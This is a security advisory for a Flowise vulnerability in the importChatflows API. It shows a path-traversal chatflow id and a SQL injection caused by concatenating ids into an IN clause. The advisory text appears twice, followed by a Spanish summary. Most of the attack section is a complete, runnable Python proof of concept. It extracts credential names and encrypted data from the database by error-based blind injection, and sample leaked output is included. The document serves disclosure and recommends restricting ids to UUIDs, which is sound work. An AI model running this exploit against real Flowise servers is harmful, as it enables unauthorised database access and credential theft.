CVE-2025-71332

### Summary import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85) * [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts) ### Details **Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise. **Issue 1 (Bug Type)** 1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file. ```json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } ``` 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}. **Issue 2 (Vulnerability Type)** importChatflows API use unsafe SQL Query. ```javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp() // step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return // step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += `'${newChatflow.id}'` // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 }) const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(`cf.id IN ${ids}`) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) ``` It changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above. When `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs. ### PoC ```python import argparse import requests def import_chatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload ) return response.json() def import_normal_data( api_url: str, token: str, normal_data: str ): data_id = 'aaaaaa' payload = { "Chatflows": [ { "id": data_id, "name": normal_data, "flowData": "{}" } ] } import_chatflows( url=api_url, token=token, payload=payload ) return data_id def get_character( api_url: str, token: str, data_id: str, column_name: str, index: int ): injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = create_payload(c=character + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # character is more then bit character += bit else: # character is less then bit character += 0 return chr(character) def get_length( api_url: str, token: str, data_id: str, column_name: str ): injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } column_len = 0 bitbox = [ 256, 128, 64, 32, 16, 8, 4, 2, 1 ] for bit in bitbox: payload = create_payload(c=column_len + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # column_len is more then bit column_len += bit else: # column_len is less then bit column_len += 0 return column_len def main( url: str, token: str ): api_url = url column_box = [ 'credentialName', 'encryptedData' ] data_id = import_normal_data( api_url=api_url, token=token, normal_data='flow01' ) for column_name in column_box: column_len = get_length( api_url=api_url, token=token, data_id=data_id, column_name=column_name ) print(f'[+] {column_name} length is {column_len}') result = '' for i in range(column_len): result += get_character( api_url=api_url, token=token, data_id=data_id, column_name=column_name, index=i + 1 ) print(f'[+] {column_name}: {result}') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--url', type=str, default='http://flowise:3000' ) parser.add_argument( '--access', type=str, required=True, help='Get from http://flowise:3000/apikey' ) m_args = parser.parse_args() main( url=m_args.url, token=m_args.access ) ``` **poc results: encryptedData from flowise database credential table was successfully leaked.** ``` /app # python ex2.py --url http://flowise:3000 --access "blahblah~~~" [+] credentialName length is 9 [+] credentialName: openAIApi [+] encryptedData length is 88 [+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg== ``` It is recommended to limit all chatflow ids & chat ids to UUID. ### Impact * Database leak * Lateral Movement

### Summary import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85) * [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts) ### Details **Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise. **Issue 1 (Bug Type)** 1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file. ```json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } ``` 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}. **Issue 2 (Vulnerability Type)** importChatflows API use unsafe SQL Query. ```javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp() // step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return // step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += `'${newChatflow.id}'` // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 }) const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(`cf.id IN ${ids}`) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) ``` It changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above. When `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs. ### PoC ```python import argparse import requests def import_chatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload ) return response.json() def import_normal_data( api_url: str, token: str, normal_data: str ): data_id = 'aaaaaa' payload = { "Chatflows": [ { "id": data_id, "name": normal_data, "flowData": "{}" } ] } import_chatflows( url=api_url, token=token, payload=payload ) return data_id def get_character( api_url: str, token: str, data_id: str, column_name: str, index: int ): injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = create_payload(c=character + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # character is more then bit character += bit else: # character is less then bit character += 0 return chr(character) def get_length( api_url: str, token: str, data_id: str, column_name: str ): injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)' def create_payload( c: int ): return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- " chatflows_json = { "Chatflows": [ { "id": "", "name": data_id, "flowData": "{}" } ] } column_len = 0 bitbox = [ 256, 128, 64, 32, 16, 8, 4, 2, 1 ] for bit in bitbox: payload = create_payload(c=column_len + bit) chatflows_json['Chatflows'][0]['id'] = payload res = import_chatflows( url=api_url, token=token, payload=chatflows_json ) if 'DOUBLE value is out of range' in res['message']: # column_len is more then bit column_len += bit else: # column_len is less then bit column_len += 0 return column_len def main( url: str, token: str ): api_url = url column_box = [ 'credentialName', 'encryptedData' ] data_id = import_normal_data( api_url=api_url, token=token, normal_data='flow01' ) for column_name in column_box: column_len = get_length( api_url=api_url, token=token, data_id=data_id, column_name=column_name ) print(f'[+] {column_name} length is {column_len}') result = '' for i in range(column_len): result += get_character( api_url=api_url, token=token, data_id=data_id, column_name=column_name, index=i + 1 ) print(f'[+] {column_name}: {result}') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--url', type=str, default='http://flowise:3000' ) parser.add_argument( '--access', type=str, required=True, help='Get from http://flowise:3000/apikey' ) m_args = parser.parse_args() main( url=m_args.url, token=m_args.access ) ``` **poc results: encryptedData from flowise database credential table was successfully leaked.** ``` /app # python ex2.py --url http://flowise:3000 --access "blahblah~~~" [+] credentialName length is 9 [+] credentialName: openAIApi [+] encryptedData length is 88 [+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg== ``` It is recommended to limit all chatflow ids & chat ids to UUID. ### Impact * Database leak * Lateral Movement

Flowise hasta la versión 2.2.7 contiene una vulnerabilidad de inyección SQL en la API importChatflows. Debido a una validación insuficiente del valor chatflow.id, un usuario autenticado puede proporcionar un archivo de importación JSON manipulado cuyo campo id se concatena sin sanear en una cláusula SQL IN, permitiendo la ejecución de SQL arbitrario, incluyendo la extracción de datos ciega y basada en errores de la tabla de credenciales.